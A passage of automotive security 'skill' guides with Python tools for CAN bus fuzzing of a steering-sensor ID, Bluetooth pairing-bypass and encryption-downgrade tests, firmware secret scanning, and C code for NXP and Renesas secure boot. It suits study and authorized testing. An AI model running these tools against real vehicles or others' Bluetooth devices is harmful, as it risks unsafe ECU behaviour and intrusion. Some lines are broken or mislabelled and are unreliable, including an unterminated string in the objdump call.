print(f\"[PASS] Boundary value fuzzing complete\")\n\n    def monitor_for_crashes(self, duration: int = 60):\n        \"\"\"Monitor CAN bus for crash indicators\"\"\"\n        print(f\"\\n[MONITOR] Watching for ECU crashes ({duration}s)...\")\n\n        # Common crash indicators:\n        # - Sudden stop of periodic messages\n        # - Error frames on CAN bus\n        # - Reset messages (e.g., CAN ID 0x000)\n\n        message_counts = {}\n        start_time = time.time()\n\n        while (time.time() - start_time) \u003C duration:\n            msg = self.bus.recv(timeout=1.0)\n            if msg is None:\n                continue\n\n            can_id = msg.arbitration_id\n\n            if can_id not in message_counts:\n                message_counts[can_id] = 0\n\n            message_counts[can_id] += 1\n\n        # Analyze for anomalies\n        print(f\"\\n[ANALYSIS] Message statistics:\")\n        for can_id, count in sorted(message_counts.items()):\n            print(f\"  CAN ID 0x{can_id:03X}: {count} messages\")\n\n        print(f\"[INFO] Monitoring complete - check ECU for unexpected behavior\")\n\n    def generate_report(self, output_file: str):\n        \"\"\"Generate fuzzing report\"\"\"\n        with open(output_file, 'w') as f:\n            f.write(\"CAN Bus Fuzzing Report\\n\")\n            f.write(\"=\" * 60 + \"\\n\\n\")\n            f.write(f\"Total anomalies detected: {len(self.anomalies)}\\n\")\n            f.write(f\"Total crashes detected: {len(self.crashes)}\\n\\n\")\n\n            f.write(\"Anomalies:\\n\")\n            for anomaly in self.anomalies:\n                f.write(f\"  - {anomaly}\\n\")\n\n            f.write(\"\\nRecommendations:\\n\")\n            f.write(\"  1. Fix input validation for identified anomalies\\n\")\n            f.write(\"  2. Implement bounds checking on all CAN message fields\\n\")\n            f.write(\"  3. Add graceful error handling (no crashes)\\n\")\n\n        print(f\"[INFO] Report generated: {output_file}\")\n\n# Example usage\ndef demo_can_fuzzing():\n    fuzzer = CANFuzzer(interface='vcan0')\n\n    # Fuzz specific CAN ID (e.g., steering angle sensor)\n    target_id = 0x025\n\n    fuzzer.fuzz_dlc(target_id)\n    fuzzer.fuzz_payload_boundary(target_id)\n    fuzzer.fuzz_payload_random(target_id, iterations=500)\n\n    # Monitor for crashes\n    fuzzer.monitor_for_crashes(duration=30)\n\n    # Generate report\n    fuzzer.generate_report('\u002Ftmp\u002Fcan_fuzzing_report.txt')\n\nif __name__ == \"__main__\":\n    demo_can_fuzzing()\n```\n\n## Bluetooth Penetration Testing\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nBluetooth Penetration Testing for Vehicle Systems\nTests pairing, encryption, and authentication\n\"\"\"\n\nimport bluetooth\nimport subprocess\n\nclass BluetoothPenTest:\n    \"\"\"Bluetooth security assessment\"\"\"\n\n    def __init__(self):\n        print(\"=== Bluetooth Penetration Test ===\")\n\n    def scan_devices(self):\n        \"\"\"Discover nearby Bluetooth devices\"\"\"\n        print(\"\\n[1\u002F5] Scanning for Bluetooth devices...\")\n\n        devices = bluetooth.discover_devices(\n            duration=8,\n            lookup_names=True,\n            flush_cache=True,\n            lookup_class=True\n        )\n\n        print(f\"[INFO] Found {len(devices)} devices:\")\n\n        for addr, name, device_class in devices:\n            print(f\"  {addr} - {name} (Class: 0x{device_class:06X})\")\n\n            # Identify automotive systems\n            if \"car\" in name.lower() or \"auto\" in name.lower() or \"vehicle\" in name.lower():\n                print(f\"    [!] Potential vehicle system detected\")\n\n        return devices\n\n    def test_pairing_bypass(self, target_addr: str):\n        \"\"\"Test for pairing bypass vulnerabilities\"\"\"\n        print(f\"\\n[2\u002F5] Testing pairing mechanisms for {target_addr}...\")\n\n        # Attempt to connect without pairing\n        try:\n            sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)\n            sock.connect((target_addr, 1))\n\n            print(f\"[CRITICAL] Connected without pairing!\")\n            print(f\"[FINDING] Device accepts connections without authentication\")\n\n            sock.close()\n\n        except bluetooth.btcommon.BluetoothError as e:\n            print(f\"[INFO] Connection rejected (expected): {e}\")\n\n        # Test weak PIN codes\n        weak_pins = [\"0000\", \"1234\", \"1111\", \"0123\"]\n\n        print(f\"[INFO] Testing common PIN codes...\")\n        for pin in weak_pins:\n            print(f\"  Trying PIN: {pin}\")\n            # Real implementation would use bluetoothctl or pybluez pairing\n\n        print(f\"[RECOMMENDATION] Use 6-digit random PIN or NFC pairing\")\n\n    def test_bluejacking(self, target_addr: str):\n        \"\"\"Test for bluejacking vulnerability (unsolicited messages)\"\"\"\n        print(f\"\\n[3\u002F5] Testing bluejacking (OBEX Push)...\")\n\n        # Attempt OBEX Push without pairing\n        result = subprocess.run(\n            ['obexftp', '-b', target_addr, '-B', '10', '-l'],\n            capture_output=True,\n            text=True\n        )\n\n        if result.returncode == 0:\n            print(f\"[HIGH] OBEX Push accessible without pairing\")\n            print(f\"[FINDING] Attacker can send unsolicited files\")\n        else:\n            print(f\"[PASS] OBEX Push requires pairing\")\n\n    def test_service_discovery(self, target_addr: str):\n        \"\"\"Enumerate Bluetooth services (SDP)\"\"\"\n        print(f\"\\n[4\u002F5] Service Discovery (SDP)...\")\n\n        services = bluetooth.find_service(address=target_addr)\n\n        if not services:\n            print(f\"[INFO] No services found (device may be in secure mode)\")\n            return\n\n        print(f\"[INFO] Found {len(services)} services:\")\n\n        for svc in services:\n            print(f\"  Service: {svc['name']}\")\n            print(f\"    Protocol: {svc['protocol']}\")\n            print(f\"    Port: {svc['port']}\")\n            print(f\"    Service ID: {svc['service-id']}\")\n\n            # Flag suspicious services\n            if 'OBD' in svc['name'] or 'Diagnostic' in svc['name']:\n                print(f\"    [!] Diagnostic service exposed over Bluetooth\")\n\n    def test_encryption_downgrade(self, target_addr: str):\n        \"\"\"Test for encryption downgrade attacks\"\"\"\n        print(f\"\\n[5\u002F5] Testing encryption downgrade...\")\n\n        # Attempt connection with no encryption\n        sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)\n\n        try:\n            # Set security level to low (no encryption)\n            sock.setsockopt(bluetooth.SOL_RFCOMM, bluetooth.RFCOMM_LM, 0)\n\n            sock.connect((target_addr, 1))\n\n            print(f\"[CRITICAL] Connection accepted without encryption!\")\n            print(f\"[FINDING] Bluetooth LE Legacy Pairing vulnerability\")\n\n            sock.close()\n\n        except Exception as e:\n            print(f\"[PASS] Unencrypted connection rejected: {e}\")\n\n# Example usage\ndef demo_bluetooth_pentest():\n    pentest = BluetoothPenTest()\n\n    # Scan for devices\n    devices = pentest.scan_devices()\n\n    if devices:\n        # Test first discovered device\n        target_addr = devices[0][0]\n\n        pentest.test_service_discovery(target_addr)\n        pentest.test_pairing_bypass(target_addr)\n        pentest.test_bluejacking(target_addr)\n        pentest.test_encryption_downgrade(target_addr)\n\n    print(\"\\n=== Bluetooth Penetration Test Complete ===\")\n\nif __name__ == \"__main__\":\n    demo_bluetooth_pentest()\n```\n\n## ECU Firmware Reverse Engineering\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nECU Firmware Reverse Engineering Toolkit\nBinary analysis and vulnerability discovery\n\"\"\"\n\nimport subprocess\nimport re\nimport os\n\nclass FirmwareAnalyzer:\n    \"\"\"Analyze ECU firmware binaries\"\"\"\n\n    def __init__(self, firmware_path: str):\n        self.firmware_path = firmware_path\n        self.findings = []\n\n        print(f\"=== Firmware Analyzer ===\")\n        print(f\"[INFO] Firmware: {firmware_path}\")\n\n    def extract_strings(self):\n        \"\"\"Extract printable strings from firmware\"\"\"\n        print(f\"\\n[1\u002F5] Extracting strings...\")\n\n        result = subprocess.run(\n            ['strings', '-n', '8', self.firmware_path],\n            capture_output=True,\n            text=True\n        )\n\n        strings_output = result.stdout.split('\\n')\n\n        # Search for sensitive data\n        sensitive_patterns = {\n            'URLs': r'https?:\u002F\u002F[^\\s]+',\n            'IP Addresses': r'\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\b',\n            'Emails': r'[\\w\\.-]+@[\\w\\.-]+\\.\\w+',\n            'API Keys': r'[A-Za-z0-9]{32,}',\n            'Passwords': r'(password|passwd|pwd)[\\s:=]+\\S+',\n        }\n\n        for category, pattern in sensitive_patterns.items():\n            matches = [s for s in strings_output if re.search(pattern, s, re.IGNORECASE)]\n\n            if matches:\n                print(f\"\\n[FINDING] {category} found in firmware:\")\n                for match in matches[:5]:  # Show first 5\n                    print(f\"  - {match}\")\n\n                self.findings.append({\n                    'category': category,\n                    'severity': 'HIGH',\n                    'count': len(matches)\n                })\n\n    def check_security_features(self):\n        \"\"\"Check for security mitigations\"\"\"\n        print(f\"\\n[2\u002F5] Checking security features...\")\n\n        # Check for NX (No Execute) bit\n        result = subprocess.run(\n            ['readelf', '-l', self.firmware_path],\n            capture_output=True,\n            text=True\n        )\n\n        if 'GNU_STACK' in result.stdout and 'RWE' not in result.stdout:\n            print(f\"[PASS] NX (DEP) enabled\")\n        else:\n            print(f\"[FAIL] NX disabled - stack is executable\")\n            self.findings.append({\n                'issue': 'Missing NX protection',\n                'severity': 'MEDIUM',\n                'remediation': 'Compile with -z noexecstack'\n            })\n\n        # Check for PIE (Position Independent Executable)\n        result = subprocess.run(\n            ['readelf', '-h', self.firmware_path],\n            capture_output=True,\n            text=True\n        )\n\n        if 'DYN' in result.stdout:\n            print(f\"[PASS] PIE enabled\")\n        else:\n            print(f\"[FAIL] PIE disabled - ASLR ineffective\")\n            self.findings.append({\n                'issue': 'Missing PIE',\n                'severity': 'MEDIUM',\n                'remediation': 'Compile with -fPIE -pie'\n            })\n\n        # Check for stack canaries\n        result = subprocess.run(\n            ['readelf', '-s', self.firmware_path],\n            capture_output=True,\n            text=True\n        )\n\n        if '__stack_chk_fail' in result.stdout:\n            print(f\"[PASS] Stack canaries present\")\n        else:\n            print(f\"[FAIL] No stack canaries - buffer overflow risk\")\n            self.findings.append({\n                'issue': 'Missing stack canaries',\n                'severity': 'HIGH',\n                'remediation': 'Compile with -fstack-protector-strong'\n            })\n\n    def find_hardcoded_keys(self):\n        \"\"\"Search for hardcoded cryptographic keys\"\"\"\n        print(f\"\\n[3\u002F5] Searching for hardcoded keys...\")\n\n        # Use binwalk to find crypto signatures\n        result = subprocess.run(\n            ['binwalk', '-E', self.firmware_path],\n            capture_output=True,\n            text=True\n        )\n\n        # High entropy regions may contain keys\n        if result.returncode == 0:\n            print(f\"[INFO] Entropy analysis complete\")\n            # Parse binwalk output for high entropy\n\n        # Search for common key headers\n        result = subprocess.run(\n            ['strings', self.firmware_path],\n            capture_output=True,\n            text=True\n        )\n\n        key_indicators = ['-----BEGIN', 'RSA PRIVATE', 'ssh-rsa', 'PuTTY-User-Key']\n\n        for indicator in key_indicators:\n            if indicator in result.stdout:\n                print(f\"[CRITICAL] Hardcoded key found: {indicator}\")\n                self.findings.append({\n                    'issue': f'Hardcoded key: {indicator}',\n                    'severity': 'CRITICAL',\n                    'remediation': 'Store keys in HSM or secure enclave'\n                })\n\n    def check_known_vulnerabilities(self):\n        \"\"\"Check for known vulnerable functions\"\"\"\n        print(f\"\\n[4\u002F5] Checking for known vulnerable functions...\")\n\n        dangerous_functions = [\n            'strcpy', 'strcat', 'gets', 'sprintf', 'vsprintf',\n            'scanf', 'sscanf', 'fscanf', 'vfscanf', 'realpath',\n            'getwd', 'getpass', 'streadd', 'strecpy', 'strtrns'\n        ]\n\n        result = subprocess.run(\n            ['nm', '-D', self.firmware_path],\n            capture_output=True,\n            text=True\n        )\n\n        for func in dangerous_functions:\n            if func in result.stdout:\n                print(f\"[WARN] Dangerous function used: {func}()\")\n                self.findings.append({\n                    'issue': f'Use of {func}()',\n                    'severity': 'MEDIUM',\n                    'remediation': f'Replace with safe alternative (e.g., strncpy for strcpy)'\n                })\n\n    def disassemble_entry_point(self):\n        \"\"\"Disassemble entry point for analysis\"\"\"\n        print(f\"\\n[5\u002F5] Disassembling entry point...\")\n\n        result = subprocess.run(\n            ['objdump', '-d', self.firmware_path, '-j', '.text', '--start-address=0', '--stop-address=256],\n            capture_output=True,\n            text=True\n        )\n\n        if result.returncode == 0:\n            print(f\"[INFO] Entry point disassembly:\")\n            print(result.stdout[:500])  # Show first 500 chars\n\n    def generate_report(self, output_file: str):\n        \"\"\"Generate vulnerability report\"\"\"\n        with open(output_file, 'w') as f:\n            f.write(\"ECU Firmware Security Assessment Report\\n\")\n            f.write(\"=\" * 60 + \"\\n\\n\")\n            f.write(f\"Firmware: {os.path.basename(self.firmware_path)}\\n\")\n            f.write(f\"Total findings: {len(self.findings)}\\n\\n\")\n\n            # Group by severity\n            critical = [f for f in self.findings if f.get('severity') == 'CRITICAL']\n            high = [f for f in self.findings if f.get('severity') == 'HIGH']\n            medium = [f for f in self.findings if f.get('severity') == 'MEDIUM']\n\n            f.write(f\"Critical: {len(critical)}\\n\")\n            f.write(f\"High: {len(high)}\\n\")\n            f.write(f\"Medium: {len(medium)}\\n\\n\")\n\n            f.write(\"Findings:\\n\")\n            for finding in self.findings:\n                f.write(f\"\\n[{finding.get('severity', 'INFO')}] \")\n                f.write(f\"{finding.get('issue', finding.get('category'))}\\n\")\n                if 'remediation' in finding:\n                    f.write(f\"  Remediation: {finding['remediation']}\\n\")\n\n        print(f\"\\n[INFO] Report generated: {output_file}\")\n\n# Example usage\ndef demo_firmware_analysis():\n    analyzer = FirmwareAnalyzer('\u002Ftmp\u002Fecu_firmware.elf')\n\n    analyzer.extract_strings()\n    analyzer.check_security_features()\n    analyzer.find_hardcoded_keys()\n    analyzer.check_known_vulnerabilities()\n    analyzer.disassemble_entry_point()\n\n    analyzer.generate_report('\u002Ftmp\u002Ffirmware_security_report.txt')\n\nif __name__ == \"__main__\":\n    demo_firmware_analysis()\n```\n\n## Best Practices\n\n1. **Scope & Authorization**: Always obtain written permission before testing\n2. **Test Environment**: Use isolated test bench, never production vehicles\n3. **Documentation**: Record all findings with PoC code and remediation guidance\n4. **Responsible Disclosure**: Follow 90-day disclosure timeline per ISO 21434\n5. **Tool Validation**: Verify tools don't cause permanent damage to ECUs\n\n## References\n\n- OWASP Automotive Security Testing Guide\n- SAE J3061: Cybersecurity Guidebook for Cyber-Physical Vehicle Systems\n- Charlie Miller & Chris Valasek: Car Hacking Research Papers\n- NHTSA Cybersecurity Best Practices for Modern Vehicles\n\n---\n\n## Secure Boot Chain\n\n# Secure Boot Chain Skill\n\n## Overview\n\nExpert skill for implementing secure boot architectures in automotive ECUs. Covers root of trust establishment, chain of trust verification, HAB (High Assurance Boot), signature verification, anti-rollback protection, secure firmware updates, and TPM\u002FHSM integration.\n\n## Core Competencies\n\n### Secure Boot Architecture\n- **Root of Trust (RoT)**: Immutable boot ROM, hardware-backed trust anchor\n- **Chain of Trust**: Bootloader → OS kernel → Applications\n- **Signature Verification**: RSA-4096\u002FECDSA-P384 cryptographic validation\n- **Anti-Rollback**: Version monotonic counters, secure storage\n- **Secure Updates**: Dual-bank firmware, atomic updates, rollback capability\n- **HSM Integration**: Hardware Security Module for key storage and crypto operations\n\n### Platform Support\n- **NXP i.MX**: HAB (High Assurance Boot), CAAM crypto accelerator\n- **Renesas R-Car**: Secure boot with PKCS#7 signatures\n- **Infineon AURIX**: UCB (User Configuration Block), HSM firmware\n- **STM32MP1**: Secure Boot with OTP fuses, ECDSA support\n- **ARM TrustZone**: Secure world execution, OP-TEE integration\n\n## NXP i.MX HAB Secure Boot Implementation\n\n### HAB Architecture\n\n```c\n\u002F*\n * NXP i.MX HAB (High Assurance Boot) Implementation\n * Secure boot flow: Boot ROM → SPL → U-Boot → Linux Kernel\n *\u002F\n\n#include \u003Cstdio.h>\n#include \u003Cstdint.h>\n#include \u003Cstring.h>\n#include \u003Copenssl\u002Fsha.h>\n#include \u003Copenssl\u002Frsa.h>\n#include \u003Copenssl\u002Fpem.h>\n\n\u002F* HAB CSF (Command Sequence File) Structure *\u002F\n#define HAB_TAG_IVT 0xD1\n#define HAB_TAG_DCD 0xD2\n#define HAB_TAG_CSF 0xD4\n\n#define HAB_CMD_INSTALL_KEY    0xBE\n#define HAB_CMD_AUTHENTICATE   0xDA\n#define HAB_CMD_SET_ENGINE     0xAF\n\ntypedef struct {\n    uint8_t tag;\n    uint16_t length;\n    uint8_t version;\n} hab_header_t;\n\ntypedef struct {\n    hab_header_t header;\n    uint32_t entry;\n    uint32_t reserved1;\n    uint32_t dcd;\n    uint32_t boot_data;\n    uint32_t self;\n    uint32_t csf;\n    uint32_t reserved2;\n} hab_ivt_t;\n\ntypedef struct {\n    hab_header_t header;\n    uint8_t flags;\n    uint16_t key_index;\n    uint32_t pcl;          \u002F* Protocol *\u002F\n    uint32_t alg;          \u002F* Algorithm *\u002F\n    uint32_t sig_format;   \u002F* Signature format *\u002F\n    uint32_t cert_format;  \u002F* Certificate format *\u002F\n} hab_install_key_cmd_t;\n\ntypedef struct {\n    hab_header_t header;\n    uint8_t flags;\n    uint16_t key_index;\n    uint32_t pcl;\n    uint32_t eng_cfg;      \u002F* Engine configuration *\u002F\n    uint32_t alg;\n    uint32_t sig_blk;      \u002F* Signature block address *\u002F\n} hab_authenticate_cmd_t;\n\n\u002F**\n * Generate HAB CSF binary for secure boot\n * CSF contains public keys and authentication commands\n *\u002F\nint hab_generate_csf(const char *srk_table, const char *csf_data,\n                     const char *img_hash, const char *output_csf) {\n    FILE *fp;\n    hab_header_t csf_header = {\n        .tag = HAB_TAG_CSF,\n        .length = 0,  \u002F\u002F Will be updated\n        .version = 0x40\n    };\n\n    fp = fopen(output_csf, \"wb\");\n    if (!fp) {\n        fprintf(stderr, \"Failed to create CSF file\\n\");\n        return -1;\n    }\n\n    \u002F\u002F Write CSF header\n    fwrite(&csf_header, sizeof(csf_header), 1, fp);\n\n    \u002F\u002F Install SRK (Super Root Key)\n    hab_install_key_cmd_t install_srk = {\n        .header = {.tag = HAB_CMD_INSTALL_KEY, .length = sizeof(hab_install_key_cmd_t), .version = 0x40},\n        .flags = 0x00,\n        .key_index = 0,\n        .pcl = 0x00,      \u002F\u002F No protocol\n        .alg = 0x21,      \u002F\u002F SHA256 with RSA\n        .sig_format = 0x03,  \u002F\u002F PKCS#1 v1.5\n        .cert_format = 0x09  \u002F\u002F SRK table\n    };\n    fwrite(&install_srk, sizeof(install_srk), 1, fp);\n\n    \u002F\u002F Append SRK table\n    FILE *srk_fp = fopen(srk_table, \"rb\");\n    if (srk_fp) {\n        uint8_t buffer[4096];\n        size_t bytes;\n        while ((bytes = fread(buffer, 1, sizeof(buffer), srk_fp)) > 0) {\n            fwrite(buffer, 1, bytes, fp);\n        }\n        fclose(srk_fp);\n    }\n\n    \u002F\u002F Authenticate data command\n    hab_authenticate_cmd_t auth_data = {\n        .header = {.tag = HAB_CMD_AUTHENTICATE, .length = sizeof(hab_authenticate_cmd_t), .version = 0x40},\n        .flags = 0x00,\n        .key_index = 2,   \u002F\u002F CSF key index\n        .pcl = 0x00,\n        .eng_cfg = 0x00,  \u002F\u002F Use internal crypto engine (CAAM)\n        .alg = 0x21,      \u002F\u002F SHA256 with RSA\n        .sig_blk = 0     \u002F\u002F Signature block follows\n    };\n    fwrite(&auth_data, sizeof(auth_data), 1, fp);\n\n    \u002F\u002F Append signature (pre-generated)\n    FILE *sig_fp = fopen(img_hash, \"rb\");\n    if (sig_fp) {\n        uint8_t buffer[512];\n        size_t bytes = fread(buffer, 1, sizeof(buffer), sig_fp);\n        fwrite(buffer, 1, bytes, fp);\n        fclose(sig_fp);\n    }\n\n    \u002F\u002F Update CSF length\n    long csf_length = ftell(fp);\n    fseek(fp, 0, SEEK_SET);\n    csf_header.length = (uint16_t)csf_length;\n    fwrite(&csf_header, sizeof(csf_header), 1, fp);\n\n    fclose(fp);\n    printf(\"HAB CSF generated: %s (%ld bytes)\\n\", output_csf, csf_length);\n    return 0;\n}\n\n\u002F**\n * Verify HAB secure boot chain\n * Simulates Boot ROM verification flow\n *\u002F\nint hab_verify_image(const char *image_path, const char *csf_path, const char *srk_pubkey) {\n    printf(\"\\n=== HAB Secure Boot Verification ===\\n\");\n\n    \u002F\u002F Step 1: Load and verify IVT\n    FILE *img_fp = fopen(image_path, \"rb\");\n    if (!img_fp) {\n        fprintf(stderr, \"Failed to open image\\n\");\n        return -1;\n    }\n\n    hab_ivt_t ivt;\n    fread(&ivt, sizeof(ivt), 1, img_fp);\n\n    if (ivt.header.tag != HAB_TAG_IVT) {\n        fprintf(stderr, \"[FAIL] Invalid IVT tag: 0x%02X\\n\", ivt.header.tag);\n        fclose(img_fp);\n        return -1;\n    }\n    printf(\"[PASS] IVT tag valid\\n\");\n\n    \u002F\u002F Step 2: Verify CSF pointer\n    if (ivt.csf == 0) {\n        fprintf(stderr, \"[FAIL] No CSF found in IVT\\n\");\n        fclose(img_fp);\n        return -1;\n    }\n    printf(\"[PASS] CSF pointer: 0x%08X\\n\", ivt.csf);\n\n    \u002F\u002F Step 3: Load and verify CSF\n    FILE *csf_fp = fopen(csf_path, \"rb\");\n    if (!csf_fp) {\n        fprintf(stderr, \"Failed to open CSF\\n\");\n        fclose(img_fp);\n        return -1;\n    }\n\n    hab_header_t csf_header;\n    fread(&csf_header, sizeof(csf_header), 1, csf_fp);\n\n    if (csf_header.tag != HAB_TAG_CSF) {\n        fprintf(stderr, \"[FAIL] Invalid CSF tag: 0x%02X\\n\", csf_header.tag);\n        fclose(csf_fp);\n        fclose(img_fp);\n        return -1;\n    }\n    printf(\"[PASS] CSF tag valid\\n\");\n\n    \u002F\u002F Step 4: Compute image hash (SHA256)\n    SHA256_CTX sha_ctx;\n    uint8_t hash[SHA256_DIGEST_LENGTH];\n    uint8_t buffer[4096];\n    size_t bytes;\n\n    SHA256_Init(&sha_ctx);\n    fseek(img_fp, 0, SEEK_SET);\n    while ((bytes = fread(buffer, 1, sizeof(buffer), img_fp)) > 0) {\n        SHA256_Update(&sha_ctx, buffer, bytes);\n    }\n    SHA256_Final(hash, &sha_ctx);\n\n    printf(\"[INFO] Image SHA256: \");\n    for (int i = 0; i \u003C SHA256_DIGEST_LENGTH; i++) {\n        printf(\"%02x\", hash[i]);\n    }\n    printf(\"\\n\");\n\n    \u002F\u002F Step 5: Verify signature using SRK public key\n    \u002F\u002F (Simplified - real HAB uses CAAM hardware)\n    FILE *key_fp = fopen(srk_pubkey, \"r\");\n    if (!key_fp) {\n        fprintf(stderr, \"[FAIL] Cannot open SRK public key\\n\");\n        fclose(csf_fp);\n        fclose(img_fp);\n        return -1;\n    }\n\n    RSA *rsa = PEM_read_RSA_PUBKEY(key_fp, NULL, NULL, NULL);\n    fclose(key_fp);\n\n    if (!rsa) {\n        fprintf(stderr, \"[FAIL] Invalid RSA public key\\n\");\n        fclose(csf_fp);\n        fclose(img_fp);\n        return -1;\n    }\n\n    \u002F\u002F Read signature from CSF (simplified)\n    uint8_t signature[512];\n    fseek(csf_fp, -512, SEEK_END);\n    fread(signature, 1, 512, csf_fp);\n\n    int verify_result = RSA_verify(NID_sha256, hash, SHA256_DIGEST_LENGTH,\n                                    signature, 512, rsa);\n\n    RSA_free(rsa);\n    fclose(csf_fp);\n    fclose(img_fp);\n\n    if (verify_result == 1) {\n        printf(\"[PASS] Signature verification SUCCESS\\n\");\n        printf(\"=== HAB VERIFICATION PASSED ===\\n\");\n        return 0;\n    } else {\n        printf(\"[FAIL] Signature verification FAILED\\n\");\n        printf(\"=== HAB VERIFICATION FAILED ===\\n\");\n        return -1;\n    }\n}\n\nint main() {\n    \u002F\u002F Generate CSF for U-Boot image\n    hab_generate_csf(\n        \"\u002Ftmp\u002Fsrk_table.bin\",\n        \"\u002Ftmp\u002Fcsf_commands.txt\",\n        \"\u002Ftmp\u002Fuboot_signature.bin\",\n        \"\u002Ftmp\u002Fu-boot.csf\"\n    );\n\n    \u002F\u002F Verify secure boot chain\n    hab_verify_image(\n        \"\u002Ftmp\u002Fu-boot-signed.imx\",\n        \"\u002Ftmp\u002Fu-boot.csf\",\n        \"\u002Ftmp\u002Fsrk_pubkey.pem\"\n    );\n\n    return 0;\n}\n```\n\n### HAB Fuse Programming (OTP)\n\n```bash\n#!\u002Fbin\u002Fbash\n# NXP i.MX HAB Fuse Programming Script\n# WARNING: Fuse programming is IRREVERSIBLE\n# Only run on production hardware after thorough testing\n\nset -e\n\nDEVICE=\"\u002Fdev\u002Fimx_otp\"\nSRK_HASH_FILE=\"srk_hash.bin\"\n\necho \"=== NXP i.MX HAB Fuse Programming ===\"\necho \"WARNING: This operation is IRREVERSIBLE!\"\nread -p \"Type 'CONFIRM' to proceed: \" confirmation\n\nif [ \"$confirmation\" != \"CONFIRM\" ]; then\n    echo \"Operation cancelled\"\n    exit 1\nfi\n\n# Step 1: Compute SRK hash (SHA256 of SRK table)\necho \"[1\u002F4] Computing SRK hash...\"\nsha256sum srk_table.bin | awk '{print $1}' | xxd -r -p > $SRK_HASH_FILE\n\n# Step 2: Burn SRK hash to OTP fuses (Bank 3, Word 0-7)\necho \"[2\u002F4] Burning SRK hash to OTP fuses...\"\n# Fuse addresses: 0x6D0 (SRK_HASH[255:224]) to 0x6FC (SRK_HASH[31:0])\nfor i in {0..7}; do\n    fuse_addr=$((0x6D0 + i * 4))\n    offset=$((i * 4))\n    value=$(od -An -tx4 -j $offset -N 4 $SRK_HASH_FILE | tr -d ' ')\n\n    echo \"  Burning 0x$value to fuse 0x$fuse_addr\"\n    # Real command: uboot> fuse prog 3 $word $value\n    # Simulation only:\n    echo \"    fuse prog 3 $i 0x$value\"\ndone\n\n# Step 3: Enable Secure Boot (close device)\necho \"[3\u002F4] Enabling Secure Boot...\"\n# Fuse Bank 0, Word 6, Bit 1 (SEC_CONFIG[1] = CLOSED)\necho \"  Setting SEC_CONFIG to CLOSED state\"\n# Real command: uboot> fuse prog 0 6 0x00000002\necho \"    fuse prog 0 6 0x00000002\"\n\n# Step 4: Verify fuse programming\necho \"[4\u002F4] Verifying fuse programming...\"\n# Real command: uboot> fuse read 3 0 8\necho \"  SRK Hash verification:\"\nfor i in {0..7}; do\n    echo \"    fuse read 3 $i\"\ndone\n\necho \"=== HAB Fuse Programming Complete ===\"\necho \"Device is now in CLOSED state - only signed images will boot\"\n```\n\n## Renesas R-Car Secure Boot\n\n### Secure Boot Flow\n\n```c\n\u002F*\n * Renesas R-Car Secure Boot Implementation\n * Uses PKCS#7 signatures for bootloader verification\n *\u002F\n\n#include \u003Cstdio.h>\n#include \u003Cstdint.h>\n#include \u003Cstring.h>\n#include \u003Copenssl\u002Fpkcs7.h>\n#include \u003Copenssl\u002Fx509.h>\n\n#define RCAR_CERT_OFFSET 0x00000000\n#define RCAR_CERT_SIZE   0x00010000\n#define RCAR_BL2_OFFSET  0x00010000\n\ntypedef struct {\n    uint32_t magic;              \u002F\u002F \"CERT\"\n    uint32_t cert_size;\n    uint32_t num_of_images;\n    uint8_t  reserved[4];\n} rcar_cert_header_t;\n\ntypedef struct {\n    uint32_t image_offset;\n    uint32_t image_size;\n    uint32_t load_address;\n    uint8_t  hash_type;          \u002F\u002F 0=SHA256, 1=SHA384\n    uint8_t  hash[64];\n    uint8_t  signature[512];\n} rcar_image_cert_t;\n\n\u002F**\n * Verify R-Car bootloader signature\n *\u002F\nint rcar_verify_bootloader(const char *bl2_path, const char *cert_path, const char *ca_cert) {\n    printf(\"\\n=== R-Car Secure Boot Verification ===\\n\");\n\n    \u002F\u002F Load CA certificate\n    FILE *ca_fp = fopen(ca_cert, \"r\");\n    if (!ca_fp) {\n        fprintf(stderr, \"[FAIL] Cannot open CA certificate\\n\");\n        return -1;\n    }\n\n    X509 *ca = PEM_read_X509(ca_fp, NULL, NULL, NULL);\n    fclose(ca_fp);\n\n    if (!ca) {\n        fprintf(stderr, \"[FAIL] Invalid CA certificate\\n\");\n        return -1;\n    }\n    printf(\"[PASS] CA certificate loaded\\n\");\n\n    \u002F\u002F Load bootloader certificate (PKCS#7)\n    FILE *cert_fp = fopen(cert_path, \"rb\");\n    if (!cert_fp) {\n        fprintf(stderr, \"[FAIL] Cannot open bootloader certificate\\n\");\n        X509_free(ca);\n        return -1;\n    }\n\n    PKCS7 *p7 = d2i_PKCS7_fp(cert_fp, NULL);\n    fclose(cert_fp);\n\n    if (!p7) {\n        fprintf(stderr, \"[FAIL] Invalid PKCS#7 structure\\n\");\n        X509_free(ca);\n        return -1;\n    }\n    printf(\"[PASS] PKCS#7 certificate loaded\\n\");\n\n    \u002F\u002F Load bootloader image\n    FILE *bl2_fp = fopen(bl2_path, \"rb\");\n    if (!bl2_fp) {\n        fprintf(stderr, \"[FAIL] Cannot open bootloader image\\n\");\n        PKCS7_free(p7);\n        X509_free(ca);\n        return -1;\n    }\n\n    fseek(bl2_fp, 0, SEEK_END);\n    size_t bl2_size = ftell(bl2_fp);\n    fseek(bl2_fp, 0, SEEK_SET);\n\n    uint8_t *bl2_data = malloc(bl2_size);\n    fread(bl2_data, 1, bl2_size, bl2_fp);\n    fclose(bl2_fp);\n\n    \u002F\u002F Create BIO for verification\n    BIO *bio_data = BIO_new_mem_buf(bl2_data, bl2_size);\n    BIO *bio_out = BIO_new(BIO_s_mem());\n\n    \u002F\u002F Verify PKCS#7 signature\n    X509_STORE *store = X509_STORE_new();\n    X509_STORE_add_cert(store, ca);\n\n    int verify_result = PKCS7_verify(p7, NULL, store, bio_data, bio_out, 0);\n\n    BIO_free(bio_data);\n    BIO_free(bio_out);\n    X509_STORE_free(store);\n    PKCS7_free(p7);\n    X509_free(ca);\n    free(bl2_data);\n\n    if (verify_result == 1) {\n        printf(\"[PASS] Bootloader signature valid\\n\");\n        printf(\"=== R-Car SECURE BOOT PASSED ===\\n\");\n        return 0;\n    } else {\n        fprintf(stderr, \"[FAIL] Bootloader signature invalid\\n\");\n        printf(\"=== R-Car SECURE BOOT FAILED ===\\n\");\n        return -1;\n    }\n}\n\nint main() {\n    rcar_verify_bootloader(\n        \"\u002Ftmp\u002Fbl2.bin\",\n        